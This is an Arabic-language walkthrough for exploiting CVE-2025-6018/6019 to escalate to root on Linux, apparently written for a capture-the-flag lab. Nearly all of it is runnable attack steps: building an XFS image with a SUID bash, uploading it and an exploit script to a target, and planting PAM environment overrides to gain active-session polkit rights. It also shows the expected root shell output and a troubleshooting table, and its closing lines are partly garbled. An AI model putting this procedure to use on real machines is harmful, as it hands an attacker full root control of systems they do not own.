
دليل استغلال الثغرات CVE-2025-6018/6019 لتصعيد الامتيازات عبر معالجة صور XFS وإساءة استخدام متغيرات بيئة PAM للحصول على صلاحيات الجذر على أنظمة Linux.
# إنشاء صورة XFS بحجم 300 ميجابايت
dd if=/dev/zero of=xfs.image bs=1M count=300
mkfs.xfs -f xfs.image
# تحميل الصورة وتثبيت SUID bash
mkdir mnt
sudo mount -t xfs xfs.image mnt
sudo cp /bin/bash mnt/bash
sudo chmod 4755 mnt/bash
sudo umount mnt
rmdir mnt
# التحقق (يجب أن يظهر 300M)
ls -lh xfs.image
# رفع سكريبت الاستغلال والصورة
scp exp.sh [email protected]:~/
scp xfs.image [email protected]:~/
# تسجيل الدخول عبر SSH إلى الهدف
ssh [email protected]
# كتابة متغيرات بيئة PAM
cat > ~/.pam_environment << 'EOF'
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
EOF
# التحقق من التكوين
cat ~/.pam_environment
# 🔥 هام: تسجيل الخروج (لتفعيل تكوين PAM)
exit
# إعادة تسجيل الدخول عبر SSH (تكوين PAM نشط الآن)
ssh [email protected]
# التحقق من نشاط PAM (يجب أن يُرجع "('yes',)")
gdbus call --system --dest org.freedesktop.login1 \
--object-path /org/freedesktop/login1 \
--method org.freedesktop.login1.Manager.CanReboot
# تنفيذ سكريبت رفع الامتيازات
bash exp.sh
إذا نجح الاستغلال، يجب أن ترى:
✓ تم العثور على SUID bash: /tmp/blockdev_loop0_xfs_xxxxx/bash
✓ تم تأكيد صلاحية الجذر!
════════════════════════════════════════════════════════════
║ علم الجذر ║
║ <flag_here> ║
════════════════════════════════════════════════════════════
bash-5.2# whoami
root
| المشكلة | الحل |
|---|---|
CanReboot يُرجع ('no',) | تأكد من تسجيل الخروج والدخول مرة أخرى (الخطوة 3) |
خطأ Not authorized | تحقق من محتوى ~/.pam_environment أنه صحيح |
| لم يتم العثور على SUID bash | أعد رفع xfs.image وتحقق من تعيين بت SUID |
('yes',) قبل تشغيل السكريبتssh -t user@host "cmd"إذا فشل، تأكد من تنفيذ كل خطوة بدقة بالترتيب!